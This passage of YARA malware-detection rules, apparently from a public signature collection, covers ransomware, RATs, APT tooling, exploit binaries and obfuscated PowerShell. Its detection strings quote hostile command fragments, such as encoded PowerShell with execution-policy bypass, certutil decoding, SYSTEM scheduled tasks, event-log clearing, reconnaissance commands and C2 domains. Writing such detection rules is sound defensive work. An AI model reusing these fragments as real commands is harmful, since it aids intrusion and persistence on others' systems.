		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		score = 80
		hash1 = "ac0711afee5a157d084251f3443a40965fc63c57955e3a241df866cfc7315223"
		hash2 = "9acd43af36f2d38077258cb2ace42d6737b43be499367e90037f4605318325f8"
		hash3 = "bca9583263f92c55ba191140668d8299ef6b760a1e940bddb0a7580ce68fef82"
		hash4 = "c299b6dd210ab5779f3abd9d10544f9cae31cd5c6afc92c0fc16c8f43def7596"
		hash5 = "6aedfef62e7a8ab7b8ab3ff57708a55afa1a2a6765f86d581bc99c738a68fc74"
		hash6 = "cfbec77180bd67cceb2e17e64f8a8beec5e8875f47c41936b67a60093e07fcfd"
		reference = "https://securelist.com/operation-shadowhammer/89992/"
		id = "000f840a-848d-5f82-84bf-70690efbd4de"

	strings:
		$x1 = "\\AsusShellCode\\Release" ascii
		$x2 = "\\AsusShellCode\\Debug"

	condition:
		uint16( 0 ) == 0x5a4d and 1 of them
}

rule EXP_DriveCrypt_1
{
	meta:
		description = "Detects DriveCrypt exploit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-08-21"
		hash1 = "0dd09bc97c768abb84d0fb6d1ae7d789f1f83bfb2ce93ff9ff3c538dc1effa33"
		id = "c192ca53-1de3-5d2d-a216-47e534ff4d01"

	strings:
		$s1 = "x64passldr.exe" fullword ascii
		$s2 = "DCR.sys" fullword ascii
		$s3 = "amd64\\x64pass.sys" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and 2 of them
}

rule EXP_DriveCrypt_x64passldr
{
	meta:
		description = "Detects DriveCrypt exploit"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-08-21"
		modified = "2023-01-06"
		hash1 = "c828304c83619e2cb9dab80305e5286aba91742dc550e1469d91812af27101a1"
		id = "94594b4e-091d-5964-b2b4-5d7d44601b28"

	strings:
		$s1 = "\\x64\\x64passldr.pdb" ascii
		$s2 = "\\amd64\\x64pass.sys" wide
		$s3 = "\\\\.\\DCR" fullword ascii
		$s4 = "Open SC Mgr Error" fullword ascii
		$s5 = "thing is ok " fullword ascii
		$s6 = "x64pass" fullword wide
		$s7 = "%ws\\%ws\\Security" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them
}

rule HKTL_RedMimicry_Agent
{
	meta:
		date = "2020-06-22"
		modified = "2023-01-06"
		author = "mirar@chaosmail.org"
		sharing = "tlp:white"
		description = "matches the RedMimicry agent executable and payload"
		reference = "https://redmimicry.com"
		id = "a4d4ec77-4a0d-5afd-9181-85433e8b5fda"

	strings:
		$reg0 = "HKEY_CURRENT_USER\\" ascii
		$reg1 = "HKEY_LOCAL_MACHINE\\" ascii
		$reg2 = "HKEY_CURRENT_CONFIG\\" ascii
		$reg3 = "HKEY_CLASSES_ROOT\\" ascii
		$cmd0 = "C:\\Windows\\System32\\cmd.exe" ascii fullword
		$lua0 = "client_recv" ascii fullword
		$lua1 = "client_send" ascii fullword
		$lua2 = "$LuaVersion: " ascii
		$sym0 = "VirtualAllocEx" wide fullword
		$sym1 = "kernel32.dll" wide fullword

	condition:
		all of them
}

rule HKTL_RedMimicry_WinntiLoader
{
	meta:
		date = "2020-06-22"
		modified = "2023-01-10"
		author = "mirar@chaosmail.org"
		sharing = "tlp:white"
		description = "matches the Winnti 'Cooper' loader version used for the RedMimicry breach emulation"
		reference = "https://redmimicry.com"
		id = "a8be1377-faa0-560d-a12c-0369b1f91180"

	strings:
		$s0 = "Cooper" ascii fullword
		$s1 = "stone64.dll" ascii fullword
		$decoding_loop = { 49 63 D0 43 8D 0C 01 41 FF C0 42 32 0C 1A 0F B6 C1 C0 E9 04 C0 E0 04 02 C1 42 88 04 1A 44 3B 03 72 DE }

	condition:
		all of them
}

rule LOG_EXPL_SUSP_TeamCity_CVE_2023_42793_Oct23_1
{
	meta:
		description = "Detects log entries that could indicate a successful exploitation of CVE-2023-42793 on TeamCity servers"
		author = "Florian Roth"
		reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
		date = "2023-10-02"
		score = 70
		id = "81c04863-72aa-5515-889e-3ef718360cac"

	strings:
		$sa1 = "File edited: "
		$sa2 = "\\TeamCity\\config\\internal.properties by user with id="
		$sb1 = "s.buildServer.ACTIVITIES.AUDIT - server_file_change: File "
		$sb2 = "\\TeamCity\\config\\internal.properties was modified by \"user with id"

	condition:
		all of ( $sa* ) or all of ( $sb* )
}

rule LOG_EXPL_SUSP_TeamCity_Oct23_1
{
	meta:
		description = "Detects log entries that could indicate a successful exploitation of TeamCity servers"
		author = "Florian Roth"
		reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
		date = "2023-10-02"
		score = 70
		id = "4845b40a-cf77-53ae-b2fa-d1ed861153f2"

	strings:
		$a1 = "tbrains.buildServer.ACTIVITIES"
		$s1 = "External process is launched by user user with id"
		$s2 = ". Command line: cmd.exe \"/c whoami"

	condition:
		all of them
}

rule Recon_Commands_Windows_Gen1
{
	meta:
		description = "Detects a set of reconnaissance commands on Windows systems"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-07-10"
		score = 60
		reference = "https://goo.gl/MSJCxP"
		id = "bc95265c-780d-5451-bd12-d14495877e46"

	strings:
		$s1 = "netstat -an" ascii
		$s2 = "net view" ascii fullword
		$s3 = "net user" ascii fullword
		$s4 = "whoami" ascii
		$s5 = "tasklist /v" ascii
		$s6 = "systeminfo" ascii
		$s7 = "net localgroup administrators" ascii
		$s8 = "net user administrator" ascii
		$s9 = "regedit -e " ascii
		$s10 = "tasklist /svc" ascii
		$s11 = "regsvr32 /s /u " ascii
		$s12 = "CreateObject(\"WScript.Shell\").RegWrite" ascii
		$s13 = "bitsadmin /rawreturn /transfer getfile" ascii
		$s14 = "wmic qfe list full" ascii
		$s15 = "schtasks.exe /create " ascii nocase
		$s16 = "wmic share get" ascii
		$s17 = "wmic nteventlog get" ascii
		$s18 = "wevtutil cl " ascii
		$s19 = "sc query type= service" ascii
		$s20 = "arp -a " ascii
		$fp1 = "avdapp.dll" fullword wide
		$fp2 = "keyword.command.batchfile" ascii
		$fp3 = ".sublime-settings" ascii

	condition:
		filesize < 1000KB and 4 of them and not 1 of ( $fp* )
}

rule SUSP_Recon_Outputs_Jun20_1
{
	meta:
		description = "Detects outputs of many different commands often used for reconnaissance purposes"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/cycldek-bridging-the-air-gap/97157/"
		date = "2020-06-04"
		score = 60
		id = "ec3759aa-212f-52ce-9f38-636accd35749"

	strings:
		$s1 = ". . . . : Yes" ascii
		$s2 = "with 32 bytes of data:" ascii
		$s3 = "ff-ff-ff-ff-ff-ff     static" ascii
		$s4 = "  TCP    0.0.0.0:445" ascii
		$s5 = "System Idle Process" ascii

	condition:
		filesize < 150KB and 4 of them
}

rule SUSP_XORed_Mozilla
{
	meta:
		description = "Detects suspicious single byte XORed keyword 'Mozilla/5.0' - it uses yara's XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key."
		author = "Florian Roth"
		reference = "https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force()"
		date = "2019-10-28"
		modified = "2023-11-25"
		score = 65
		id = "af7fc551-0d4e-589e-9152-95d9c4ab03bf"

	strings:
		$xo1 = "Mozilla/5.0" xor(0x01-0xff) ascii wide
		$fp1 = "Sentinel Labs" wide
		$fp2 = "<filter object at" ascii

	condition:
		$xo1 and not 1 of ( $fp* ) and not uint32( 0 ) == 0x434d5953
}

rule SUSP_XORed_MSDOS_Stub_Message
{
	meta:
		description = "Detects suspicious XORed MSDOS stub message"
		author = "Florian Roth"
		reference = "https://yara.readthedocs.io/en/latest/writingrules.html#xor-strings"
		date = "2019-10-28"
		modified = "2023-10-11"
		score = 55
		id = "9ab52434-9162-5fd5-bf34-8b163f6aeec4"

	strings:
		$xo1 = "This program cannot be run in DOS mode" xor(0x01-0xff) ascii wide
		$xo2 = "This program must be run under Win32" xor(0x01-0xff) ascii wide
		$fp1 = "AVAST Software" fullword wide ascii
		$fp2 = "AVG Netherlands" fullword wide ascii
		$fp3 = "AVG Technologies" ascii wide
		$fp4 = "Malicious Software Removal Tool" wide
		$fp5 = "McAfee Labs" fullword ascii wide
		$fp6 = "Kaspersky Lab" fullword ascii wide
		$fp7 = "<propertiesmap>" ascii wide
		$fp10 = "Avira Engine Module" wide
		$fp11 = "syntevo GmbH" wide fullword
		$fp13 = "SophosClean" ascii
		$fp14 = "SophosHomeClean" wide

	condition:
		1 of ( $x* ) and not 1 of ( $fp* ) and not uint16( 0 ) == 0xb0b0 and not uint16( 0 ) == 0x5953
}

import "pe"

rule Rehashed_RAT_1
{
	meta:
		description = "Detects malware from Rehashed RAT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
		date = "2017-09-08"
		hash1 = "37bd97779e854ea2fc43486ddb831a5acfd19cf89f06823c9fd3b20134cb1c35"
		id = "24536421-3f8f-58f3-8245-06c519d7a21a"

	strings:
		$x1 = "C:\\Users\\hoogle168\\Desktop\\"
		$x2 = "\\NewCoreCtrl08\\Release\\NewCoreCtrl08.pdb" ascii
		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729" ascii
		$s2 = "NewCoreCtrl08.dll" fullword ascii
		$s3 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
		$s4 = "http://%s:%d/%s%s%s%s" fullword ascii
		$s5 = "MyTmpFile.Dat" fullword wide
		$s6 = "root\\%s" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 800KB and ( pe.imphash ( ) == "893212784d01f11aed9ebb42ad2561fc" or pe.exports ( "ProcessTrans" ) or ( 1 of ( $x* ) or 4 of them ) ) ) or ( all of them )
}

import "pe"

rule Rehashed_RAT_2
{
	meta:
		description = "Detects malware from Rehashed RAT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
		date = "2017-09-08"
		hash1 = "49efab1dedc6fffe5a8f980688a5ebefce1be3d0d180d5dd035f02ce396c9966"
		id = "fcf82155-10da-56b7-879b-841c4ae5023b"

	strings:
		$x1 = "dalat.dulichovietnam.net" fullword ascii
		$x2 = "web.Thoitietvietnam.org" fullword ascii
		$a1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64)" fullword ascii
		$a2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii
		$s1 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
		$s2 = "http://%s:%d/%s%s%s%s" fullword ascii
		$s3 = "{521338B8-3378-58F7-AFB9-E7D35E683BF8}" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "9c4c648f4a758cbbfe28c8850d82f931" or ( 1 of ( $x* ) or 3 of them ) ) ) or ( 4 of them )
}

rule Rehashed_RAT_3
{
	meta:
		description = "Detects malware from Rehashed RAT incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
		date = "2017-09-08"
		modified = "2022-12-21"
		hash1 = "9cebae97a067cd7c2be50d7fd8afe5e9cf935c11914a1ab5ff59e91c1e7e5fc4"
		id = "59871be1-295f-54ee-ab4d-4f9e5fdc2935"

	strings:
		$x1 = "\\BisonNewHNStubDll\\Release\\Goopdate.pdb" ascii
		$s2 = "psisrndrx.ebd" fullword wide
		$s3 = "pbad exception" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 2 of them )
}

rule CVE_2015_1701_Taihou
{
	meta:
		description = "CVE-2015-1701 compiled exploit code"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/W4nU0q"
		date = "2015-05-13"
		hash1 = "90d17ebd75ce7ff4f15b2df951572653efe2ea17"
		hash2 = "acf181d6c2c43356e92d4ee7592700fa01e30ffb"
		hash3 = "b8aabe12502f7d55ae332905acee80a10e3bc399"
		hash4 = "d9989a46d590ebc792f14aa6fec30560dfe931b1"
		hash5 = "63d1d33e7418daf200dc4660fc9a59492ddd50d9"
		score = 70
		id = "58250e17-aa46-5451-ae6d-18fb4030f8df"

	strings:
		$s3 = "VirtualProtect" fullword
		$s4 = "RegisterClass"
		$s5 = "LoadIcon"
		$s6 = "PsLookupProcessByProcessId" fullword ascii
		$s7 = "LoadLibraryExA" fullword ascii
		$s8 = "gSharedInfo" fullword
		$w1 = "user32.dll" wide
		$w2 = "ntdll" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 160KB and all of ( $s* ) and 1 of ( $w* )
}

rule Ransom_LockerGoga_Mar19_1
{
	meta:
		description = "Detects LockerGoga ransomware binaries"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202"
		date = "2019-03-19"
		hash1 = "c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15"
		hash2 = "7bcd69b3085126f7e97406889f78ab74e87230c11812b79406d723a80c08dd26"
		hash3 = "bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f"
		id = "ba5836b9-bc47-54d4-8f7a-475ba0feaac6"

	strings:
		$x1 = "\\.(doc|dot|wbk|docx|dotx|docb|xlm|xlsx|xltx|xlsb|xlw|ppt|pot|pps|pptx|potx|ppsx|sldx|pdf)" wide
		$x2 = "|[A-Za-z]:\\cl.log" wide
		$x4 = "\\crypto-locker\\" ascii
		$xc1 = { 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E
               00 61 00 6D 00 65 00 00 00 00 00 4D 00 6C 00 63
               00 72 00 6F 00 73 00 6F 00 66 00 74 }
		$xc2 = { 00 2E 00 6C 00 6F 00 63 00 6B 00 65 00 64 00 00
               00 20 46 41 49 4C 45 44 20 00 00 00 00 20 00 00
               00 20 75 6E 6B 6E 6F 77 6E 20 65 78 63 65 70 74
               69 6F 6E }
		$rn1 = "This may lead to the impossibility of recovery of the certain files." wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 4000KB and 1 of ( $x* ) ) or $rn1
}

rule gen_unicorn_obfuscated_powershell
{
	meta:
		description = "PowerShell payload obfuscated by Unicorn toolkit"
		author = "John Lambert @JohnLaTwC"
		date = "2018-04-03"
		hash = "b93d2fe6a671a6a967f31d5b3a0a16d4f93abcaf25188a2bbdc0894087adb10d"
		hash2 = "1afb9795cb489abce39f685a420147a2875303a07c32bf7eec398125300a460b"
		reference = "https://github.com/trustedsec/unicorn/"
		id = "0235795b-6d0b-5bba-8ae6-606c3b613c86"

	strings:
		$h1 = "powershell"
		$sa1 = ".value.toString() 'JAB"
		$sa2 = ".value.toString() ('JAB"
		$sb1 = "-w 1 -C \"s"
		$sb2 = "/w 1 /C \"s"

	condition:
		filesize < 20KB and uint32be( 0 ) == 0x706f7765 and $h1 at 0 and ( uint16be( filesize - 2 ) == 0x2722 or ( uint16be( filesize - 2 ) == 0x220a and uint8( filesize - 3 ) == 0x27 ) or ( uint16be( filesize - 2 ) == 0x2922 and uint8( filesize - 3 ) == 0x27 ) ) and ( 1 of ( $sa* ) and 1 of ( $sb* ) )
}

import "pe"

rule MAL_Neshta_Generic : HIGHVOL
{
	meta:
		description = "Detects Neshta malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-01-15"
		modified = "2021-04-14"
		hash1 = "27c67eb1378c2fd054c6649f92ec8ee9bfcb6f790224036c974f6c883c46f586"
		hash1 = "0283c0f02307adc4ee46c0382df4b5d7b4eb80114fbaf5cb7fe5412f027d165e"
		hash2 = "b7f8233dafab45e3abbbb4f3cc76e6860fae8d5337fb0b750ea20058b56b0efb"
		hash3 = "1954e06fc952a5a0328774aaf07c23970efd16834654793076c061dffb09a7eb"
		id = "9a3b8369-7e19-5c21-9eba-0bb81507696a"

	strings:
		$x1 = "the best. Fuck off all the rest."
		$x2 = "! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]" fullword ascii
		$s1 = "Neshta" ascii fullword
		$s2 = "Made in Belarus. " ascii fullword
		$op1 = { 85 c0 93 0f 85 62 ff ff ff 5e 5b 89 ec 5d c2 04 }
		$op2 = { e8 e5 f1 ff ff 8b c3 e8 c6 ff ff ff 85 c0 75 0c }
		$op3 = { eb 02 33 db 8b c3 5b c3 53 85 c0 74 15 ff 15 34 }
		$sop1 = { e8 3c 2a ff ff b8 ff ff ff 7f eb 3e 83 7d 0c 00 }
		$sop2 = { 2b c7 50 e8 a4 40 ff ff ff b6 88 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 1 of ( $x* ) or all of ( $s* ) or 3 of them or pe.imphash ( ) == "9f4693fc0c511135129493f2161d1e86" )
}

rule APTGroupX_PlugXTrojanLoader_StringDecode
{
	meta:
		author = "Jay DiMartino"
		description = "Rule to detect PlugX Malware"
		score = 80
		reference = "https://t.co/4xQ8G2mNap"
		hash1 = "0535e8c300204e257f0fa57630f386e9fcc8e779"
		hash2 = "088ebf9ccde958f32d11f4e7eb14f5332332f97d"
		hash3 = "0c999d0bffa007e9e6b6fe593933b52f40c75b3d"
		hash4 = "2f644e7131ec0a4f12ce04ba1e54d23856dbbfbf"
		hash5 = "3be9148ad132ca342d5fbabea1119a175ef1df7c"
		hash6 = "4c1ee94ec0e15491fc4f6b4095f67eee6309e62a"
		hash7 = "587af7ce05e61d4c312d6bae12ea380116b08d7e"
		hash8 = "5990efd83b5646a7ba419541d3a2c19260224ca3"
		hash9 = "67970367c250c44a5feb263843cf45fd91336df5"
		hash10 = "68f53f7188910a4cf67843aedd38c1523f1f2e7c"
		hash11 = "962dc7e0ad37286df012f623423ac4182fe791ca"
		hash12 = "aa0976906807af2e1b127608040aa3ef6e118a13"
		hash13 = "b170d015e32b39fa4ac15f94d58e45e65cd16d6c"
		hash14 = "c9b3d2cef3b34c7ee18fc2f60ff022965959613d"
		hash15 = "cd425ce7f3e4a823d9027780e1b439759c4dc665"
		hash16 = "d5e82513c6472d3826a22d9a15c05af8c0d33b58"
		hash17 = "d9b32084f27ef13001060e1dcee8a1a9e95d89a6"
		hash18 = "daa2d1cb9148b7ba5a86fa9ab593678e77c92672"
		hash19 = "e2c098a95d1c1f0e29f207af9c5ffc5bd69a92ee"
		hash20 = "ef8cf68dc3c80e9cb5a3fa0f92b544eab583812e"
		hash21 = "f0fc0a4e4e0748464caa6a202d0083cd33458677"
		hash22 = "fe1abe55529c1d6aa6b2a2f02d7e41ea58040feb"
		id = "c6017327-b44d-5b1d-95aa-6e1f9fbf5583"

	strings:
		$byte1 = { 8A [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
		$byte2 = { 8B [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }

	condition:
		any of them
}

rule PowerShell_ISESteroids_Obfuscation
{
	meta:
		description = "Detects PowerShell ISESteroids obfuscation"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/danielhbohannon/status/877953970437844993"
		date = "2017-06-23"
		id = "d686c4de-28fd-5d77-91d4-dde5661b75cd"

	strings:
		$x1 = "/\\/===\\__" ascii
		$x2 = "${__/\\/==" ascii
		$x3 = "Catch { }" fullword ascii
		$x4 = "\\_/=} ${_" ascii

	condition:
		2 of them
}

rule SUSP_Obfuscted_PowerShell_Code
{
	meta:
		description = "Detects obfuscated PowerShell Code"
		date = "2018-12-13"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/silv0123/status/1073072691584880640"
		id = "e2d8fc9e-ce2b-5118-8305-0d5839561d4f"

	strings:
		$s1 = "').Invoke(" ascii
		$s2 = "(\"{1}{0}\"" ascii
		$s3 = "{0}\" -f" ascii

	condition:
		#s1> 11 and #s2 > 10 and #s3 > 10
}

rule SUSP_PowerShell_Caret_Obfuscation_2
{
	meta:
		description = "Detects powershell keyword obfuscated with carets"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-07-20"
		id = "976e261a-029c-5703-835f-a235c5657471"

	strings:
		$r1 = /p[\^]?o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l\^l/ ascii wide nocase fullword
		$r2 = /p\^o[\^]?w[\^]?e[\^]?r[\^]?s[\^]?h[\^]?e[\^]?l[\^]?l/ ascii wide nocase fullword

	condition:
		1 of them
}

rule SUSP_OBFUSC_PowerShell_True_Jun20_1
{
	meta:
		description = "Detects indicators often found in obfuscated PowerShell scripts"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/corneacristian/mimikatz-bypass/"
		date = "2020-06-27"
		score = 75
		id = "e9bb870b-ad72-57d3-beff-2f84a81490eb"

	strings:
		$ = "${t`rue}" ascii nocase
		$ = "${tr`ue}" ascii nocase
		$ = "${tru`e}" ascii nocase
		$ = "${t`ru`e}" ascii nocase
		$ = "${tr`u`e}" ascii nocase
		$ = "${t`r`ue}" ascii nocase
		$ = "${t`r`u`e}" ascii nocase

	condition:
		filesize < 6000KB and 1 of them
}

rule APT34_Malware_HTA
{
	meta:
		description = "Detects APT 34 malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
		date = "2017-12-07"
		hash1 = "f6fa94cc8efea0dbd7d4d4ca4cf85ac6da97ee5cf0c59d16a6aafccd2b9d8b9a"
		id = "683faded-7e4b-5b2f-9f85-300db96ed9d1"

	strings:
		$x1 = "WshShell.run \"cmd.exe /C C:\\ProgramData\\" ascii
		$x2 = ".bat&ping 127.0.0.1 -n 6 > nul&wscript  /b" ascii
		$x3 = "cmd.exe /C certutil -f  -decode C:\\ProgramData\\" ascii
		$x4 = "a.WriteLine(\"set Shell0 = CreateObject(" ascii
		$x5 = "& vbCrLf & \"Shell0.run" ascii
		$s1 = "<title>Blog.tkacprow.pl: HTA Hello World!</title>" fullword ascii
		$s2 = "<body onload=\"test()\">" fullword ascii

	condition:
		filesize < 60KB and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule APT34_Malware_Exeruner
{
	meta:
		description = "Detects APT 34 malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
		date = "2017-12-07"
		hash1 = "c75c85acf0e0092d688a605778425ba4cb2a57878925eee3dc0f4dd8d636a27a"
		id = "8ddfa59d-9b8a-5cb6-a992-6498ac9be75d"

	strings:
		$x1 = "\\obj\\Debug\\exeruner.pdb" ascii
		$x2 = "\"wscript.shell`\")`nShell0.run" wide
		$x3 = "powershell.exe -exec bypass -enc \" + ${global:$http_ag} +" wide
		$x4 = "/c powershell -exec bypass -window hidden -nologo -command " fullword wide
		$x5 = "\\UpdateTasks\\JavaUpdatesTasksHosts\\" wide
		$x6 = "schtasks /create /F /ru SYSTEM /sc minute /mo 1 /tn" wide
		$x7 = "UpdateChecker.ps1 & ping 127.0.0.1" wide
		$s8 = "exeruner.exe" fullword wide
		$s9 = "${global:$address1} = $env:ProgramData + \"\\Windows\\Microsoft\\java\";" fullword wide
		$s10 = "C:\\ProgramData\\Windows\\Microsoft\\java" fullword wide
		$s11 = "function runByVBS" fullword wide
		$s12 = "$84e31856-683b-41c0-81dd-a02d8b795026" fullword ascii
		$s13 = "${global:$dns_ag} = \"aQBmACAAKAAoAEcAZQB0AC0AVwBtAGk" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 1 of them
}

rule SUSP_Bad_PDF
{
	meta:
		description = "Detects PDF that embeds code to steal NTLM hashes"
		author = "Florian Roth (Nextron Systems), Markus Neis"
		reference = "Internal Research"
		date = "2018-05-03"
		hash1 = "d8c502da8a2b8d1c67cb5d61428f273e989424f319cfe805541304bdb7b921a8"
		id = "149cf20c-4cfd-5b07-acc5-06ae25b209b1"

	strings:
		$s1 = "         /F (http//" ascii
		$s2 = "        /F (\\\\\\\\" ascii
		$s3 = "<</F (\\\\" ascii

	condition:
		( uint32( 0 ) == 0x46445025 or uint32( 0 ) == 0x4450250a ) and 1 of them
}

rule APT_MAL_LNX_Turla_Apr202004_1
{
	meta:
		description = "Detects Turla Linux malware x64 x32"
		date = "2020-04-24"
		author = "Leonardo S.p.A."
		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
		id = "2da75433-b1c1-51b3-8f7a-a4442ca3de96"

	strings:
		$ = "/root/.hsperfdata" ascii fullword
		$ = "Desc| Filename | size |state|" ascii fullword
		$ = "VS filesystem: %s" ascii fullword
		$ = "File already exist on remote filesystem !" ascii fullword
		$ = "/tmp/.sync.pid" ascii fullword
		$ = "rem_fd: ssl " ascii fullword
		$ = "TREX_PID=%u" ascii fullword
		$ = "/tmp/.xdfg" ascii fullword
		$ = "__we_are_happy__" ascii
		$ = "/root/.sess" ascii fullword

	condition:
		uint16( 0 ) == 0x457f and filesize < 5000KB and 4 of them
}

rule APT_MAL_LNX_Turla_Apr202004_1_opcode
{
	meta:
		description = "Detects Turla Linux malware x64 x32"
		date = "2020-04-24"
		author = "Leonardo S.p.A."
		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
		id = "03043f59-c81a-5423-bec1-6cd88f6e3c52"

	strings:
		$op0 = { 8D 41 05 32 06 48 FF C6 88 81 E0 80 69 00 }
		$op1 = { 48FFC14883F94975E9 }
		$op2 = { C7 05 9B 7D 29 00 1D 00 00 00 C7 05 2D 7B 29 00 65 74 68 30 C6 05 2A 7B 29 00 00 E8 }
		$op3 = { BF FF FF FF FF E8 96 9D 0A 00 90 90 90 90 90 90 90 90 90 90 89 F0}
		$op4 = { 88D380C305329AC1D60C08889A60A10F084283FA0876E9 }
		$op5 = { 8B 8D 50 DF FF FF B8 09 00 00 00 89 44 24 04 89 0C 24 E8 DD E5 02 00 }
		$op6 = { 8D 5A 05 32 9A 60 26 0C 08 88 9A 20 F4 0E 08 42 83 FA 48 76 EB }
		$op7 = { 8D 4A 05 32 8A 25 26 0C 08 88 8A 20 F4 0E 08 42 83 FA 08 76 EB}

	condition:
		uint16( 0 ) == 0x457f and filesize < 5000KB and 2 of them
}

rule WEBSHELL_Csharp_Hash_String_Oct22
{
	meta:
		description = "C# webshell using specific hash check for the password."
